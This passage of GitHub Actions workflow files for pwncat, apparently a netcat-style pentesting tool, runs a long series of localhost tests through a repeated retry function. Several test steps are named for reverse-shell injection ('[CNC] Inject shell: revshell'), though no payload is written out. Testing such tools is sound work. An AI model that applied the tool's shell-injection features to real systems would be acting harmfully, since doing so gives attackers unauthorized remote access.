_port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-pypy2.yml000066400000000000000000001215201414025024700231250ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-py2 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-pypy2" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy2 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word 